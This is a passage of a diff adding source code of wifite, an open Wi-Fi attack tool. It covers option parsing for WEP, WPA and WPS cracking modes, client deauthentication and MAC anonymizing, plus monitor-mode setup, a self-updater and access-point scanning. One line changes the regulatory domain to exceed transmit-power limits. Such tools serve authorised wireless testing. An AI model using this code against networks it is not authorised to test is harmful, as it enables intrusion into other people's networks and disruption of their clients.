else: + print GR + ' [+]' + W + ' channel set to %s' % (G + str(self.TARGET_CHANNEL) + W) + if options.mac_anon: + print GR + ' [+]' + W + ' mac address anonymizing ' + G + 'enabled' + W + print O + ' not: only works if device is not already in monitor mode!' + W + self.DO_NOT_CHANGE_MAC = False + if options.interface: + self.WIRELESS_IFACE = options.interface + print GR + ' [+]' + W + ' set interface :%s' % (G + self.WIRELESS_IFACE + W) + if options.monitor_interface: + self.MONITOR_IFACE = options.monitor_interface + print GR + ' [+]' + W + ' set interface already in monitor mode :%s' % (G + self.MONITOR_IFACE + W) + if options.nodeauth: + self.SEND_DEAUTHS = False + print GR + ' [+]' + W + ' will not deauthenticate clients while scanning%s' % W + if options.essid: + try: + self.TARGET_ESSID = options.essid + except ValueError: + print R + ' [!]' + O + ' no ESSID given!' + W + else: + print GR + ' [+]' + W + ' targeting ESSID "%s"' % (G + self.TARGET_ESSID + W) + if options.bssid: + try: + self.TARGET_BSSID = options.bssid + except ValueError: + print R + ' [!]' + O + ' no BSSID given!' + W + else: + print GR + ' [+]' + W + ' targeting BSSID "%s"' % (G + self.TARGET_BSSID + W) + if options.showb: + self.SHOW_MAC_IN_SCAN = True + print GR + ' [+]' + W + ' target MAC address viewing ' + G + 'enabled' + W + if options.all: + self.ATTACK_ALL_TARGETS = True + print GR + ' [+]' + W + ' targeting ' + G + 'all access points' + W + if options.power: + try: + self.ATTACK_MIN_POWER = int(options.power) + except ValueError: + print R + ' [!]' + O + ' invalid power level: %s' % (R + options.power + W) + except IndexError: + print R + ' [!]' + O + ' no power level given!' + W + else: + print GR + ' [+]' + W + ' minimum target power set to %s' % (G + str(self.ATTACK_MIN_POWER) + W) + if options.tx: + try: + self.TX_POWER = int(options.tx) + except ValueError: + print R + ' [!]' + O + ' invalid TX power leve: %s' % ( R + options.tx + W) + except IndexError: + print R + ' [!]' + O + ' no TX power level given!' + W + else: + print GR + ' [+]' + W + ' TX power level set to %s' % (G + str(self.TX_POWER) + W) + if options.quiet: + self.VERBOSE_APS = False + print GR + ' [+]' + W + ' list of APs during scan ' + O + 'disabled' + W + if options.check: + try: + capfile = options.check + except IndexError: + print R + ' [!]' + O + ' unable to analyze capture file' + W + print R + ' [!]' + O + ' no cap file given!\n' + W + self.exit_gracefully(1) + else: + if not os.path.exists(capfile): + print R + ' [!]' + O + ' unable to analyze capture file!' + W + print R + ' [!]' + O + ' file not found: ' + R + capfile + '\n' + W + self.exit_gracefully(1) + if options.update: + self.upgrade() + exit(0) + if options.cracked: + if len(self.CRACKED_TARGETS) == 0: + print R + ' [!]' + O + ' There are no cracked access points saved to ' + R + 'cracked.db\n' + W + self.exit_gracefully(1) + print GR + ' [+]' + W + ' ' + W + 'previously cracked access points' + W + ':' + for victim in self.CRACKED_TARGETS: + if victim.wps != False: + print ' %s (%s) : "%s" - Pin: %s' % ( + C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W, G + victim.wps + W) + else: + print ' %s (%s) : "%s"' % (C + victim.ssid + W, C + victim.bssid + W, G + victim.key + W) + print '' + self.exit_gracefully(0) + # WPA + if not set_hscheck and (options.tshark or options.cowpatty or options.aircrack or options.pyrit): + self.WPA_HANDSHAKE_TSHARK = False + self.WPA_HANDSHAKE_PYRIT = False + self.WPA_HANDSHAKE_COWPATTY = False + self.WPA_HANDSHAKE_AIRCRACK = False + set_hscheck = True + if options.strip: + self.WPA_STRIP_HANDSHAKE = True + print GR + ' [+]' + W + ' handshake stripping ' + G + 'enabled' + W + if options.wpadt: + try: + self.WPA_DEAUTH_TIMEOUT = int(options.wpadt) + except ValueError: + print R + ' [!]' + O + ' invalid deauth timeout: %s' % (R + options.wpadt + W) + except IndexError: + print R + ' [!]' + O + ' no deauth timeout given!' + W + else: + print GR + ' [+]' + W + ' WPA deauth timeout set to %s' % (G + str(self.WPA_DEAUTH_TIMEOUT) + W) + if options.wpat: + try: + self.WPA_ATTACK_TIMEOUT = int(options.wpat) + except ValueError: + print R + ' [!]' + O + ' invalid attack timeout: %s' % (R + options.wpat + W) + except IndexError: + print R + ' [!]' + O + ' no attack timeout given!' + W + else: + print GR + ' [+]' + W + ' WPA attack timeout set to %s' % (G + str(self.WPA_ATTACK_TIMEOUT) + W) + if options.crack: + self.WPA_DONT_CRACK = False + print GR + ' [+]' + W + ' WPA cracking ' + G + 'enabled' + W + if options.dic: + try: + self.WPA_DICTIONARY = options.dic + except IndexError: + print R + ' [!]' + O + ' no WPA dictionary given!' + else: + if os.path.exists(options.dic): + print GR + ' [+]' + W + ' WPA dictionary set to %s' % (G + self.WPA_DICTIONARY + W) + else: + print R + ' [!]' + O + ' WPA dictionary file not found: %s' % (options.dic) + else: + print R + ' [!]' + O + ' WPA dictionary file not given!' + self.exit_gracefully(1) + if options.tshark: + self.WPA_HANDSHAKE_TSHARK = True + print GR + ' [+]' + W + ' tshark handshake verification ' + G + 'enabled' + W + if options.pyrit: + self.WPA_HANDSHAKE_PYRIT = True + print GR + ' [+]' + W + ' pyrit handshake verification ' + G + 'enabled' + W + if options.aircrack: + self.WPA_HANDSHAKE_AIRCRACK = True + print GR + ' [+]' + W + ' aircrack handshake verification ' + G + 'enabled' + W + if options.cowpatty: + self.WPA_HANDSHAKE_COWPATTY = True + print GR + ' [+]' + W + ' cowpatty handshake verification ' + G + 'enabled' + W + + # WEP + if not set_wep and options.chopchop or options.fragment or options.caffeelatte or options.arpreplay \ + or options.p0841 or options.hirte: + self.WEP_CHOPCHOP = False + self.WEP_ARPREPLAY = False + self.WEP_CAFFELATTE = False + self.WEP_FRAGMENT = False + self.WEP_P0841 = False + self.WEP_HIRTE = False + if options.chopchop: + print GR + ' [+]' + W + ' WEP chop-chop attack ' + G + 'enabled' + W + self.WEP_CHOPCHOP = True + if options.fragment: + print GR + ' [+]' + W + ' WEP fragmentation attack ' + G + 'enabled' + W + self.WEP_FRAGMENT = True + if options.caffeelatte: + print GR + ' [+]' + W + ' WEP caffe-latte attack ' + G + 'enabled' + W + self.WEP_CAFFELATTE = True + if options.arpreplay: + print GR + ' [+]' + W + ' WEP arp-replay attack ' + G + 'enabled' + W + self.WEP_ARPREPLAY = True + if options.p0841: + print GR + ' [+]' + W + ' WEP p0841 attack ' + G + 'enabled' + W + self.WEP_P0841 = True + if options.hirte: + print GR + ' [+]' + W + ' WEP hirte attack ' + G + 'enabled' + W + self.WEP_HIRTE = True + if options.fakeauth: + print GR + ' [+]' + W + ' ignoring failed fake-authentication ' + R + 'disabled' + W + self.WEP_IGNORE_FAKEAUTH = False + if options.wepca: + try: + self.WEP_CRACK_AT_IVS = int(options.wepca) + except ValueError: + print R + ' [!]' + O + ' invalid number: %s' % ( R + options.wepca + W ) + except IndexError: + print R + ' [!]' + O + ' no IV number specified!' + W + else: + print GR + ' [+]' + W + ' Starting WEP cracking when IV\'s surpass %s' % ( + G + str(self.WEP_CRACK_AT_IVS) + W) + if options.wept: + try: + self.WEP_TIMEOUT = int(options.wept) + except ValueError: + print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wept + W) + except IndexError: + print R + ' [!]' + O + ' no timeout given!' + W + else: + print GR + ' [+]' + W + ' WEP attack timeout set to %s' % ( + G + str(self.WEP_TIMEOUT) + " seconds" + W) + if options.pps: + try: + self.WEP_PPS = int(options.pps) + except ValueError: + print R + ' [!]' + O + ' invalid value: %s' % (R + options.pps + W) + except IndexError: + print R + ' [!]' + O + ' no value given!' + W + else: + print GR + ' [+]' + W + ' packets-per-second rate set to %s' % ( + G + str(options.pps) + " packets/sec" + W) + if options.wepsave: + self.WEP_SAVE = True + print GR + ' [+]' + W + ' WEP .cap file saving ' + G + 'enabled' + W + + # WPS + if options.wpst: + try: + self.WPS_TIMEOUT = int(options.wpst) + except ValueError: + print R + ' [!]' + O + ' invalid timeout: %s' % (R + options.wpst + W) + except IndexError: + print R + ' [!]' + O + ' no timeout given!' + W + else: + print GR + ' [+]' + W + ' WPS attack timeout set to %s' % ( + G + str(self.WPS_TIMEOUT) + " seconds" + W) + if options.wpsratio: + try: + self.WPS_RATIO_THRESHOLD = float(options.wpsratio) + except ValueError: + print R + ' [!]' + O + ' invalid percentage: %s' % (R + options.wpsratio + W) + except IndexError: + print R + ' [!]' + O + ' no ratio given!' + W + else: + print GR + ' [+]' + W + ' minimum WPS tries/attempts threshold set to %s' % ( + G + str(self.WPS_RATIO_THRESHOLD) + "" + W) + if options.wpsretry: + try: + self.WPS_MAX_RETRIES = int(options.wpsretry) + except ValueError: + print R + ' [!]' + O + ' invalid number: %s' % (R + options.wpsretry + W) + except IndexError: + print R + ' [!]' + O + ' no number given!' + W + else: + print GR + ' [+]' + W + ' WPS maximum retries set to %s' % ( + G + str(self.WPS_MAX_RETRIES) + " retries" + W) + + except IndexError: + print '\nindexerror\n\n' + + if capfile != '': + self.RUN_ENGINE.analyze_capfile(capfile) + print '' + + def build_opt_parser(self): + """ Options are doubled for backwards compatability; will be removed soon and + fully moved to GNU-style + """ + option_parser = argparse.ArgumentParser() + + # set commands + command_group = option_parser.add_argument_group('COMMAND') + command_group.add_argument('--check', help='Check capfile [file] for handshakes.', action='store', dest='check') + command_group.add_argument('-check', action='store', dest='check', help=argparse.SUPPRESS) + command_group.add_argument('--cracked', help='Display previously cracked access points.', action='store_true', + dest='cracked') + command_group.add_argument('-cracked', help=argparse.SUPPRESS, action='store_true', dest='cracked') + command_group.add_argument('--recrack', help='Include already cracked networks in targets.', + action='store_true', dest='recrack') + command_group.add_argument('-recrack', help=argparse.SUPPRESS, action='store_true', dest='recrack') + + # set global + global_group = option_parser.add_argument_group('GLOBAL') + global_group.add_argument('--all', help='Attack all targets.', default=False, action='store_true', dest='all') + global_group.add_argument('-all', help=argparse.SUPPRESS, default=False, action='store_true', dest='all') + global_group.add_argument('-i', help='Wireless interface for capturing.', action='store', dest='interface') + global_group.add_argument('--mac', help='Anonymize MAC address.', action='store_true', default=False, + dest='mac_anon') + global_group.add_argument('-mac', help=argparse.SUPPRESS, action='store_true', default=False, dest='mac_anon') + global_group.add_argument('--mon-iface', help='Interface already in monitor mode.', action='store', + dest='monitor_interface') + global_group.add_argument('-c', help='Channel to scan for targets.', action='store', dest='channel') + global_group.add_argument('-e', help='Target a specific access point by ssid (name).', action='store', + dest='essid') + global_group.add_argument('-b', help='Target a specific access point by bssid (mac).', action='store', + dest='bssid') + global_group.add_argument('--showb', help='Display target BSSIDs after scan.', action='store_true', + dest='showb') + global_group.add_argument('-showb', help=argparse.SUPPRESS, action='store_true', dest='showb') + global_group.add_argument('--nodeauth', help='Do not deauthenticate clients while scanning', action='store_true', dest='nodeauth') + global_group.add_argument('--power', help='Attacks any targets with signal strength > [pow].', action='store', + dest='power') + global_group.add_argument('-power', help=argparse.SUPPRESS, action='store', dest='power') + global_group.add_argument('--tx', help='Set adapter TX power level.', action='store', dest='tx') + global_group.add_argument('-tx', help=argparse.SUPPRESS, action='store', dest='tx') + global_group.add_argument('--quiet', help='Do not print list of APs during scan.', action='store_true', + dest='quiet') + global_group.add_argument('-quiet', help=argparse.SUPPRESS, action='store_true', dest='quiet') + global_group.add_argument('--update', help='Check and update Wifite.', default=False, action='store_true', + dest='update') + global_group.add_argument('-update', help=argparse.SUPPRESS, default=False, action='store_true', dest='update') + # set wpa commands + wpa_group = option_parser.add_argument_group('WPA') + wpa_group.add_argument('--wpa', help='Only target WPA networks (works with --wps --wep).', default=False, + action='store_true', dest='wpa') + wpa_group.add_argument('-wpa', help=argparse.SUPPRESS, default=False, action='store_true', dest='wpa') + wpa_group.add_argument('--wpat', help='Time to wait for WPA attack to complete (seconds).', action='store', + dest='wpat') + wpa_group.add_argument('-wpat', help=argparse.SUPPRESS, action='store', dest='wpat') + wpa_group.add_argument('--wpadt', help='Time to wait between sending deauth packets (seconds).', action='store', + dest='wpadt') + wpa_group.add_argument('-wpadt', help=argparse.SUPPRESS, action='store', dest='wpadt') + wpa_group.add_argument('--strip', help='Strip handshake using tshark or pyrit.', default=False, + action='store_true', dest='strip') + wpa_group.add_argument('-strip', help=argparse.SUPPRESS, default=False, action='store_true', dest='strip') + wpa_group.add_argument('--crack', help='Crack WPA handshakes using [dic] wordlist file.', action='store_true', + dest='crack') + wpa_group.add_argument('-crack', help=argparse.SUPPRESS, action='store_true', dest='crack') + wpa_group.add_argument('--dict', help='Specificy dictionary to use when cracking WPA.', action='store', + dest='dic') + wpa_group.add_argument('-dict', help=argparse.SUPPRESS, action='store', dest='dic') + wpa_group.add_argument('--aircrack', help='Verify handshake using aircrack.', default=False, + action='store_true', dest='aircrack') + wpa_group.add_argument('-aircrack', help=argparse.SUPPRESS, default=False, action='store_true', dest='aircrack') + wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true', + dest='pyrit') + wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit') + wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true', + dest='tshark') + wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark') + wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False, + action='store_true', dest='cowpatty') + wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty') + # set WEP commands + wep_group = option_parser.add_argument_group('WEP') + wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true', + dest='wep') + wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep') + wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store', + dest='pps') + wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps') + wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store', + dest='wept') + wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept') + wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true', + dest='chopchop') + wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop') + wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true', + dest='arpreplay') + wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true', + dest='arpreplay') + wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true', + dest='fragment') + wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment') + wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true', + dest='caffeelatte') + wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true', + dest='caffeelatte') + wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841') + wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841') + wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte') + wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte') + wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False, + action='store_true', dest='fakeauth') + wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true', + dest='fakeauth') + wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store', + dest='wepca') + wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca') + wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None, + action='store', dest='wepsave') + wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave') + # set WPS commands + wps_group = option_parser.add_argument_group('WPS') + wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true', + dest='wps') + wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps') + wps_group.add_argument('--pixie', help='Only use the WPS PixieDust attack', default=False, action='store_true', dest='pixie') + wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store', + dest='wpst') + wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst') + wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store', + dest='wpsratio') + wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio') + wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.', + action='store', dest='wpsretry') + wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry') + + return option_parser + + def upgrade(self): + """ + Checks for new version, prompts to upgrade, then + replaces this script with the latest from the repo + """ + try: + print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W + print GR + ' [+]' + W + ' checking for latest version...' + revision = get_revision() + if revision == -1: + print R + ' [!]' + O + ' unable to access GitHub' + W + elif revision > self.REVISION: + print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W + print GR + ' [-]' + W + ' revision: ' + G + str(revision) + W + response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ') + if not response.lower().startswith('y'): + print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W + self.exit_gracefully(0) + return + # Download script, replace with this one + print GR + ' [+] ' + G + 'downloading' + W + ' update...' + try: + sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py') + page = sock.read() + except IOError: + page = '' + if page == '': + print R + ' [+] ' + O + 'unable to download latest version' + W + self.exit_gracefully(1) + + # Create/save the new script + f = open('wifite_new.py', 'w') + f.write(page) + f.close() + + # The filename of the running script + this_file = __file__ + if this_file.startswith('./'): + this_file = this_file[2:] + + # create/save a shell script that replaces this script with the new one + f = open('update_wifite.sh', 'w') + f.write('''#!/bin/sh\n + rm -rf ''' + this_file + '''\n + mv wifite_new.py ''' + this_file + '''\n + rm -rf update_wifite.sh\n + chmod +x ''' + this_file + '''\n + ''') + f.close() + + # Change permissions on the script + returncode = call(['chmod', '+x', 'update_wifite.sh']) + if returncode != 0: + print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W + self.exit_gracefully(1) + # Run the script + returncode = call(['sh', 'update_wifite.sh']) + if returncode != 0: + print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W + self.exit_gracefully(1) + + print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again' + + else: + print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W + + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W + self.exit_gracefully(0) + + +class RunEngine: + def __init__(self, run_config): + self.RUN_CONFIG = run_config + self.RUN_CONFIG.RUN_ENGINE = self + + def initial_check(self): + """ + Ensures required programs are installed. + """ + airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng'] + for air in airs: + if program_exists(air): continue + print R + ' [!]' + O + ' required program not found: %s' % (R + air + W) + print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W + print R + ' [!]' + O + ' ' + C + 'http://www.aircrack-ng.org/' + W + print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W + self.RUN_CONFIG.exit_gracefully(1) + + if not program_exists('iw'): + print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W) + self.RUN_CONFIG.exit_gracefully(1) + + printed = False + # Check reaver + if not program_exists('reaver'): + printed = True + print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W + print R + ' ' + O + ' available at ' + C + 'http://code.google.com/p/reaver-wps' + W + self.RUN_CONFIG.WPS_DISABLE = True + elif not program_exists('walsh') and not program_exists('wash'): + printed = True + print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W + print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W + + # Check handshake-checking apps + recs = ['tshark', 'pyrit', 'cowpatty'] + for rec in recs: + if program_exists(rec): continue + printed = True + print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W) + if printed: print '' + + def enable_monitor_mode(self, iface): + """ + First attempts to anonymize the MAC if requested; MACs cannot + be anonymized if they're already in monitor mode. + Uses airmon-ng to put a device into Monitor Mode. + Then uses the get_iface() method to retrieve the new interface's name. + Sets global variable IFACE_TO_TAKE_DOWN as well. + Returns the name of the interface in monitor mode. + """ + mac_anonymize(iface) + print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W), + stdout.flush() + call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN) + print 'done' + self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface() + if self.RUN_CONFIG.TX_POWER > 0: + print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W), + call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG) + call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG) + print 'done' + return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + + def disable_monitor_mode(self): + """ + The program may have enabled monitor mode on a wireless interface. + We want to disable this before we exit, so we will do that. + """ + if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return + print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W), + stdout.flush() + call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN) + print 'done' + + def rtl8187_fix(self, iface): + """ + Attempts to solve "Unknown error 132" common with RTL8187 devices. + Puts down interface, unloads/reloads driver module, then puts iface back up. + Returns True if fix was attempted, False otherwise. + """ + # Check if current interface is using the RTL8187 chipset + proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) + proc_airmon.wait() + using_rtl8187 = False + for line in proc_airmon.communicate()[0].split(): + line = line.upper() + if line.strip() == '' or line.startswith('INTERFACE'): continue + if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True + + if not using_rtl8187: + # Display error message and exit + print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W + print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W + self.RUN_CONFIG.exit_gracefully(1) + + print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..." + + original_iface = iface + # Take device out of monitor mode + airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN) + airmon.wait() + for line in airmon.communicate()[0].split('\n'): + if line.strip() == '' or \ + line.startswith("Interface") or \ + line.find('(removed)') != -1: + continue + original_iface = line.split()[0] # line[:line.find('\t')] + + # Remove drive modules, block/unblock ifaces, probe new modules. + print_and_exec(['ifconfig', original_iface, 'down']) + print_and_exec(['rmmod', 'rtl8187']) + print_and_exec(['rfkill', 'block', 'all']) + print_and_exec(['rfkill', 'unblock', 'all']) + print_and_exec(['modprobe', 'rtl8187']) + print_and_exec(['ifconfig', original_iface, 'up']) + print_and_exec(['airmon-ng', 'start', original_iface]) + + print '\r \r', + print O + ' [!] ' + W + 'restarting scan...\n' + + return True + + def get_iface(self): + """ + Get the wireless interface in monitor mode. + Defaults to only device in monitor mode if found. + Otherwise, enumerates list of possible wifi devices + and asks user to select one to put into monitor mode (if multiple). + Uses airmon-ng to put device in monitor mode if needed. + Returns the name (string) of the interface chosen in monitor mode. + """ + if not self.RUN_CONFIG.PRINTED_SCANNING: + print GR + ' [+]' + W + ' scanning for wireless devices...' + self.RUN_CONFIG.PRINTED_SCANNING = True + + proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN) + iface = '' + monitors = [] + adapters = [] + for line in proc.communicate()[0].split('\n'): + if len(line) == 0: continue + if ord(line[0]) != 32: # Doesn't start with space + iface = line[:line.find(' ')] # is the interface + if line.find('Mode:Monitor') != -1: + monitors.append(iface) + else: + adapters.append(iface) + + if self.RUN_CONFIG.WIRELESS_IFACE != '': + if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE): + return self.RUN_CONFIG.WIRELESS_IFACE + else: + if self.RUN_CONFIG.WIRELESS_IFACE in adapters: + # valid adapter, enable monitor mode + print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % ( + R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O) + return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE) + else: + # couldnt find the requested adapter + print R + ' [!]' + O + ' could not find wireless interface %s' % ( + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W) + self.RUN_CONFIG.exit_gracefully(0) + + if len(monitors) == 1: + return monitors[0] # Default to only device in monitor mode + elif len(monitors) > 1: + print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W + for i, monitor in enumerate(monitors): + print " %s. %s" % (G + str(i + 1) + W, G + monitor + W) + ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, W, G, len(monitors), W, G)) + while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): + ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \ + (GR, W, G, len(monitors), W, G)) + i = int(ri) + return monitors[i - 1] + + proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) + for line in proc.communicate()[0].split('\n'): + if len(line) == 0 or line.startswith('Interface') or line.startswith('PHY'): continue + monitors.append(line) + + if len(monitors) == 0: + print R + ' [!]' + O + " no wireless interfaces were found." + W + print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W + self.RUN_CONFIG.exit_gracefully(0) + elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0: + monitor = monitors[0][:monitors[0].find('\t')] + return self.enable_monitor_mode(monitor) + + elif len(monitors) == 1: + monitor = monitors[0][:monitors[0].find('\t')] + if monitor.startswith('phy'): monitor = monitors[0].split()[1] + return self.enable_monitor_mode(monitor) + + print GR + " [+]" + W + " available wireless devices:" + for i, monitor in enumerate(monitors): + print " %s%d%s. %s" % (G, i + 1, W, monitor) + + ri = raw_input( + GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) + while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors): + ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W)) + i = int(ri) + monitor = monitors[i - 1][:monitors[i - 1].find('\t')] + + return self.enable_monitor_mode(monitor) + + def scan(self, channel=0, iface='', tried_rtl8187_fix=False): + """ + Scans for access points. Asks user to select target(s). + "channel" - the channel to scan on, 0 scans all channels. + "iface" - the interface to scan on. must be a real interface. + "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132" + Returns list of selected targets and list of clients. + """ + remove_airodump_files(self.RUN_CONFIG.temp + 'wifite') + + command = ['airodump-ng', + '-a', # only show associated clients + '-w', self.RUN_CONFIG.temp + 'wifite'] # output file + if channel != 0: + command.append('-c') + command.append(str(channel)) + command.append(iface) + + proc = Popen(command, stdout=DN, stderr=DN) + + time_started = time.time() + print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.' + (targets, clients) = ([], []) + try: + deauth_sent = 0.0 + old_targets = [] + stop_scanning = False + while True: + time.sleep(0.3) + if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0: + print R + '\n [!] ERROR!' + W + # RTL8187 Unknown Error 132 FIX + if proc.poll() is not None: # Check if process has finished + proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE) + if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1: + send_interrupt(proc) + if self.rtl8187_fix(iface): + return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True) + print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W + print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W + self.RUN_CONFIG.exit_gracefully(1) + + (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv') + + # Remove any already cracked networks if configured to do so + if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False: + index = 0 + while index < len(targets): + already = False + for cracked in self.RUN_CONFIG.CRACKED_TARGETS: + if targets[index].ssid.lower() == cracked.ssid.lower(): + already = True + if targets[index].bssid.lower() == cracked.bssid.lower(): + already = True + if already == True: + targets.pop(index) + index -= 1 + index += 1 + + # If we are targeting a specific ESSID/BSSID, skip the scan once we find it. + if self.RUN_CONFIG.TARGET_ESSID != '': + for t in targets: + if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower(): + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass + targets = [t] + stop_scanning = True + break + if self.RUN_CONFIG.TARGET_BSSID != '': + for t in targets: + if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower(): + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + except UnboundLocalError: + pass + targets = [t] + stop_scanning = True + break + + # If user has chosen to target all access points, wait 20 seconds, then return all + if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10: + print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % ( + G, len(targets), W, '' if len(targets) == 1 else 's') + stop_scanning = True + + if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10: + # Remove targets with power < threshold 